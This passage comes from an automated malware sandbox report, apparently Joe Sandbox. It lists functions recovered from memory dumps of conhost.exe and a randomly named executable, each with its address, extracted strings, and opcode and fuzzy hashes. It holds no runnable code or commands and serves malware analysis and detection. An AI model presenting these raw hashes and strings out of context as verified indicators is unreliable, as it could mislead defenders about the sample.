Function 00007FFD343D0998 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: 94f31b70c55ad443df6ae8340d63a71e7927e73c0390a1a5d308a3a20cb9d036
Instruction ID: a8217c9b451451adc7c95bbb2ba6100161c7db07ad670fd19434bcab77d7d5a6
Opcode Fuzzy Hash: 94f31b70c55ad443df6ae8340d63a71e7927e73c0390a1a5d308a3a20cb9d036
Instruction Fuzzy Hash: D921F220B599590FF798F76C94A96B977C6EF9A321F0540B9E40EC32E2DD39AC418280

Function 00007FFD343E3E79 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD343E3E96

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: e48cee1027e4841cd7602fc842a062a82e6595f5f54977bb866b62b32c35afe8
Instruction ID: ac234ff9dbf8d27131357c6d54bdfd49a1db4cf95054320098e49e93c8bd06fc
Opcode Fuzzy Hash: e48cee1027e4841cd7602fc842a062a82e6595f5f54977bb866b62b32c35afe8
Instruction Fuzzy Hash: CFE0127194B3C04FCB49EB3584A58957F60EF6721078E50EEC145CF1A3D62DD889C701

Function 00007FFD343E4275 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4999263f1d7dad6a1f6a8c5a5d3e48b330a4df7a97789409692938ccb96fd58f
Instruction ID: ec4734ecc5b48e27e7927fa953edc6f0ddbab1437bfc486c9c976bf1950e4c2c
Opcode Fuzzy Hash: 4999263f1d7dad6a1f6a8c5a5d3e48b330a4df7a97789409692938ccb96fd58f
Instruction Fuzzy Hash: EC21B032F0951B8AFB54EB48D8A56BF77A2FF65300F04053AC219D7381DF7969819780

Function 00007FFD343D0C25 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df00a4066b643880c2d59f1cc06834a4a3d84e103eada8c39de2040a8cccdad3
Instruction ID: 24eda12cd9a6022ea02aa2f8bf9272e9b29073fb4f36e0cb2ed3e6b450d99e4f
Opcode Fuzzy Hash: df00a4066b643880c2d59f1cc06834a4a3d84e103eada8c39de2040a8cccdad3
Instruction Fuzzy Hash: 21210135B0E2898FE712EB2888A51DC7FB0EF83329F1445B7C280DF192D5391A4AA741

Function 00007FFD343D0C38 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb6da0effec433ac78246fa435cad5f14201ff76e807aeacd30111fc7347779
Instruction ID: 3f96e98a21404424cbaacd5540ac77989398d89523c784de7e1146948ce8a7b1
Opcode Fuzzy Hash: feb6da0effec433ac78246fa435cad5f14201ff76e807aeacd30111fc7347779
Instruction Fuzzy Hash: D111CE35B0E7888FE702EB2898A42DD7FB0EF83319F1544B7C284DF292D5391A499780

Function 00007FFD343D0C40 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5b5af8b14389f6b2f348cb39dc5740f57e578ee045d4c683d3caf629a47149b
Instruction ID: 6541a784fb46a1b52f8c29ef641667630fa5a2dcfa7baf3616abb2f26d24beba
Opcode Fuzzy Hash: e5b5af8b14389f6b2f348cb39dc5740f57e578ee045d4c683d3caf629a47149b
Instruction Fuzzy Hash: 1001AD35A0E7888FE702EB2884A42DD7FB0EF43314F1545EAC180DB292D5395A489B80

Function 00007FFD343D5EF1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1367fdd2635cb4d8773ceb5b7bac313d56898e9429c9d2f2352ac406217a34ce
Instruction ID: 9baded12b1604edbc2eb12ceec086a47201f661f8c663b4e58f9a3816c87e6f6
Opcode Fuzzy Hash: 1367fdd2635cb4d8773ceb5b7bac313d56898e9429c9d2f2352ac406217a34ce
Instruction Fuzzy Hash: CE012120E9D91D4AE7A5B61888B57BC61A1EF4B700F5001B5D91DE3292ED3E6D44A740

Function 00007FFD343D5F11 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction ID: 7dddf225c71f9e7a0ec9b22fc1032d6338144fc44058bdbccf12c89b7a2c25cf
Opcode Fuzzy Hash: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction Fuzzy Hash: 57016D30A9D40E8AEBA8BA04D8A5BF872A5EF16300F5001B9D90ED31A1EE3D29C55A41

Function 00007FFD343D0C48 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fde1c70c65ee5f2c51e3bfbdebf05f195a66c6b070661791eb3dbd4f6e18495
Instruction ID: b138bdf6ada42a5344b5108d1015447a0bf97a31047aad3af935477e2d8f3502
Opcode Fuzzy Hash: 8fde1c70c65ee5f2c51e3bfbdebf05f195a66c6b070661791eb3dbd4f6e18495
Instruction Fuzzy Hash: C5015E35A0E7888FD712EB68C8941DDBFB0AF43314F1545EAC580DB1A2D5395A48D781

Function 00007FFD343D171D Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0d609691cd0a67a7c1961c09a52ae71e5414ef4628c005c67fd8c3d1f11f7cd
Instruction ID: 339c79a08c5faabb40d059207679bf155c41ebac141dff55519cc12ee3c3a66b
Opcode Fuzzy Hash: b0d609691cd0a67a7c1961c09a52ae71e5414ef4628c005c67fd8c3d1f11f7cd
Instruction Fuzzy Hash: E8F09632F495164BFB68FA08C8A56EC33A6EB92310F054676D40EC73D6DE2DAD4287C1

Function 00007FFD343E42CD Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6aa66d17187e342f2e5ec197a396205a8fbbc582ebdce762d483e0bd32156645
Instruction ID: 416634f6f91798f7d8973e7e8c7c9591c5eb01d16092e96af3bcbb10056e4c01
Opcode Fuzzy Hash: 6aa66d17187e342f2e5ec197a396205a8fbbc582ebdce762d483e0bd32156645
Instruction Fuzzy Hash: A4F0A432F4951E8FEB58EB44C8A58BE73A1FB69310F04063AC11AD7390DF7869408740

Function 00007FFD343D0C50 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8829bf4592e40ae3b4fada442c1efe27b7aec2c3418eee2fc3db957c814b10c
Instruction ID: 220322e8e1aa441e93854d38f7731614a4ebb86235473affcf0ae8e436dd0677
Opcode Fuzzy Hash: a8829bf4592e40ae3b4fada442c1efe27b7aec2c3418eee2fc3db957c814b10c
Instruction Fuzzy Hash: B9018F34A0E3888FE712EB6484941DDBFF0AF03308F1441EAC580DB192D9395A48C741

Function 00007FFD343D0B87 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e755c29a42b3ce14799ff74ec821416fd7e1b032b190bc4a9802ed2d1bd81a7d
Instruction ID: 1024ff713126171387a3fc8aeef8a02c854a77d489bb69c09cd9b6fa1afbf811
Opcode Fuzzy Hash: e755c29a42b3ce14799ff74ec821416fd7e1b032b190bc4a9802ed2d1bd81a7d
Instruction Fuzzy Hash: 01E07D3232D94E4FDF02FB3CDC974A83B50EB8B21078700FAD108CB0A2C212684E8B01

Function 00007FFD343E5518 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fb093ff02a71e26105fccf7503ed6f1ae4011e19121ff59a0269e74ada4076c
Instruction ID: 4640bb846717c77e64037ae798f4c740fb56b9dcadbfe4fc94d7acd97375bf17
Opcode Fuzzy Hash: 5fb093ff02a71e26105fccf7503ed6f1ae4011e19121ff59a0269e74ada4076c
Instruction Fuzzy Hash: B5D05E30B609094B8B0CB62D8458430F3D1E7AA6067945278D44BC3285ED2AECC68B80

Function 00007FFD343D4265 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction ID: c3574f17ea6472ccfd9d5795fce2fde2abe249d1d78e15150e0c03fe877680af
Opcode Fuzzy Hash: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction Fuzzy Hash: 97E01A70F4911A4BFBA8B248D8E13F96264EF8A304F145078DB6ED33C5DD3DAD409605

Function 00007FFD343E3E90 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD343E4BD7 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343e0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18652c7a7e1e5c6faaa405073d46f2ae8ec14b86f43d5acdc76515fa78c7179a
Instruction ID: 07d9137669ff819bbfef3455231f0d6bd9c63b4847d5cabdd0a3aaa4c5b20c5f
Opcode Fuzzy Hash: 18652c7a7e1e5c6faaa405073d46f2ae8ec14b86f43d5acdc76515fa78c7179a
Instruction Fuzzy Hash: B0D05B21B4D91747E645FA045CE077B2161EF19300F140074D64FC31C2CD3CE8427601

Function 00007FFD343D06AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction ID: 3048f9248019bea7b6f186f8c5423cf2b2eab0437b84f9e769dd21ee3450d732
Opcode Fuzzy Hash: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction Fuzzy Hash: 16C08C00FCB58B00B400316E18E60ECA120DBC7A28FD00032D30CD20959C3F20C5214A

Function 00007FFD343D12D8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction ID: f2c7580b359e954caa7700577bdda0318b4c9fe2d3013718838c153da6db0bf5
Opcode Fuzzy Hash: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction Fuzzy Hash: 3DC04C345558098FC948FB2DC99591477A0FB1A215BD50190E409C7171D66ADCD5D741

Function 00007FFD343D06D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction ID: 735aa1df858eb5aeddf2c33aa0c7ee299a1304de0fead9086c4a11b781a4167b
Opcode Fuzzy Hash: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction Fuzzy Hash: 26B01200DD748F00A40431BA08D60A47050AB47104FC00070D60CC1089987F10942242

Non-executed Functions

Function 00007FFD343D09B0 Relevance: 5.2, Strings: 4, Instructions: 191COMMON

Download Yara Rule

Strings

#{9, xrefs: 00007FFD343D0B3E
c9, xrefs: 00007FFD343D0B56
"s9, xrefs: 00007FFD343D0B46
!k9, xrefs: 00007FFD343D0B4E

Memory Dump Source

Source File: 00000019.00000002.3367655933.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd343d0000_conhost.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 86621e1fde3edf3ffc71cc49db4154185685da0f32ebebede09d868d991338ff
Instruction ID: ea701b244c41a3dadb844275df2aec8f17d56ebb99556ec92d02f40348e8dd15
Opcode Fuzzy Hash: 86621e1fde3edf3ffc71cc49db4154185685da0f32ebebede09d868d991338ff
Instruction Fuzzy Hash: 0151A007B0E56345E32233FD70611EE6BA8DF8233AB584677E24CDB0834D1A65C682E5

Analysis Process: tQESKTdysPpsVzUyXTE.exePID: 5132, Parent PID: 4004COMMON

Executed Functions

Function 00007FFD343D0D48 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

5[_H, xrefs: 00007FFD343D0DF3

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID: 5[_H
API String ID: 0-3279724263
Opcode ID: 84f8e1e489ea80a5e6f4ba2929fe7a68683e865fa107d55f6c38aac8d2b916d7
Instruction ID: 636c5292bbd67fc4965f721511b205b117acf5c4c156919ad9a903d289bddb5d
Opcode Fuzzy Hash: 84f8e1e489ea80a5e6f4ba2929fe7a68683e865fa107d55f6c38aac8d2b916d7
Instruction Fuzzy Hash: EA91C175A19A898FE79AEF6888657E97FE1FB96310F1400BFC049D72D2CBBD18119700

Function 00007FFD343D08D0 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: a9c9ed92a38fb08d9a992d9fdcb6ff7db80f74a43dd9a2ac5bbe9c0349228ec1
Instruction ID: ae912eb42a21188c477916bfe81e27bc987bae56fe855acb03d9339ac57421d0
Opcode Fuzzy Hash: a9c9ed92a38fb08d9a992d9fdcb6ff7db80f74a43dd9a2ac5bbe9c0349228ec1
Instruction Fuzzy Hash: FF415A12B4E5951EE716B3BC60BA6F97BA4DF8A335B1804BFD14DC71D3CE2D68818280

Function 00007FFD343D0960 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: 235b3f400bae17ceb06da921df26a2ed21371765ad1cd2cf41d2efb5ab4194e2
Instruction ID: cc2efae055264874791950a646308e30386fa309799706d67f5f57217ad6be93
Opcode Fuzzy Hash: 235b3f400bae17ceb06da921df26a2ed21371765ad1cd2cf41d2efb5ab4194e2
Instruction Fuzzy Hash: 24312521B1E9591BE755B3AC64AA6F973D5DF4A321F1444BEE40EC31D3CD2EAC818284

Function 00007FFD343D0998 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

(7H4, xrefs: 00007FFD343DB0D5

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID: (7H4
API String ID: 0-2096274016
Opcode ID: a2e7b3dc5c0a3aaf8b635a144bae951a8cfe570f44626667fd25fd7676e1a51d
Instruction ID: 3835de77ec9da1daceffd9c064117b1419af5058f94baca62a5bdae39b00705e
Opcode Fuzzy Hash: a2e7b3dc5c0a3aaf8b635a144bae951a8cfe570f44626667fd25fd7676e1a51d
Instruction Fuzzy Hash: 4A214620B199590FE748F76884AA6B977C6EB8A311F1404BDE40EC32D7CE29AC418240

Function 00007FFD343D1171 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98f0253f97c3c475e453b9d9aae734fb05511a489b1fb12cd79b28ff0f61b967
Instruction ID: 791b2a97b5e9cfa392a4538bb73b7aa17b0702b9c0afc09afb5487f34d2acfa4
Opcode Fuzzy Hash: 98f0253f97c3c475e453b9d9aae734fb05511a489b1fb12cd79b28ff0f61b967
Instruction Fuzzy Hash: 8331A131A0D68A8FDF46EB64C8A59A97BF0FF5B300B0805BBC009D71A3DA3DA845C751

Function 00007FFD343D0C25 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df00a4066b643880c2d59f1cc06834a4a3d84e103eada8c39de2040a8cccdad3
Instruction ID: 24eda12cd9a6022ea02aa2f8bf9272e9b29073fb4f36e0cb2ed3e6b450d99e4f
Opcode Fuzzy Hash: df00a4066b643880c2d59f1cc06834a4a3d84e103eada8c39de2040a8cccdad3
Instruction Fuzzy Hash: 21210135B0E2898FE712EB2888A51DC7FB0EF83329F1445B7C280DF192D5391A4AA741

Function 00007FFD343D0C38 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb6da0effec433ac78246fa435cad5f14201ff76e807aeacd30111fc7347779
Instruction ID: 3f96e98a21404424cbaacd5540ac77989398d89523c784de7e1146948ce8a7b1
Opcode Fuzzy Hash: feb6da0effec433ac78246fa435cad5f14201ff76e807aeacd30111fc7347779
Instruction Fuzzy Hash: D111CE35B0E7888FE702EB2898A42DD7FB0EF83319F1544B7C284DF292D5391A499780

Function 00007FFD343D5EF1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1367fdd2635cb4d8773ceb5b7bac313d56898e9429c9d2f2352ac406217a34ce
Instruction ID: 9baded12b1604edbc2eb12ceec086a47201f661f8c663b4e58f9a3816c87e6f6
Opcode Fuzzy Hash: 1367fdd2635cb4d8773ceb5b7bac313d56898e9429c9d2f2352ac406217a34ce
Instruction Fuzzy Hash: CE012120E9D91D4AE7A5B61888B57BC61A1EF4B700F5001B5D91DE3292ED3E6D44A740

Function 00007FFD343D171D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32cc26ac7d26490d6a873e49993fc1b7f582473f654ca0ad25baf7336c2e8198
Instruction ID: 73229dd71ac1b1823f111a5d09453ab89df22a2dbace0ff77a91e58737df99f6
Opcode Fuzzy Hash: 32cc26ac7d26490d6a873e49993fc1b7f582473f654ca0ad25baf7336c2e8198
Instruction Fuzzy Hash: A6F0C822F4D4074BFB58B604C4A56E83391EB92310F044676D40DC72D6DE6DAD4283C0

Function 00007FFD343D5F11 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction ID: 7dddf225c71f9e7a0ec9b22fc1032d6338144fc44058bdbccf12c89b7a2c25cf
Opcode Fuzzy Hash: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction Fuzzy Hash: 57016D30A9D40E8AEBA8BA04D8A5BF872A5EF16300F5001B9D90ED31A1EE3D29C55A41

Function 00007FFD343D0C48 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fde1c70c65ee5f2c51e3bfbdebf05f195a66c6b070661791eb3dbd4f6e18495
Instruction ID: b138bdf6ada42a5344b5108d1015447a0bf97a31047aad3af935477e2d8f3502
Opcode Fuzzy Hash: 8fde1c70c65ee5f2c51e3bfbdebf05f195a66c6b070661791eb3dbd4f6e18495
Instruction Fuzzy Hash: C5015E35A0E7888FD712EB68C8941DDBFB0AF43314F1545EAC580DB1A2D5395A48D781

Function 00007FFD343D0B87 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e755c29a42b3ce14799ff74ec821416fd7e1b032b190bc4a9802ed2d1bd81a7d
Instruction ID: 1024ff713126171387a3fc8aeef8a02c854a77d489bb69c09cd9b6fa1afbf811
Opcode Fuzzy Hash: e755c29a42b3ce14799ff74ec821416fd7e1b032b190bc4a9802ed2d1bd81a7d
Instruction Fuzzy Hash: 01E07D3232D94E4FDF02FB3CDC974A83B50EB8B21078700FAD108CB0A2C212684E8B01

Function 00007FFD343D4265 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction ID: c3574f17ea6472ccfd9d5795fce2fde2abe249d1d78e15150e0c03fe877680af
Opcode Fuzzy Hash: 7191c5d8c98392b8ebce349336f3d54e0e455686bb5dbd04537152c86a2d7850
Instruction Fuzzy Hash: 97E01A70F4911A4BFBA8B248D8E13F96264EF8A304F145078DB6ED33C5DD3DAD409605

Function 00007FFD343D06AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

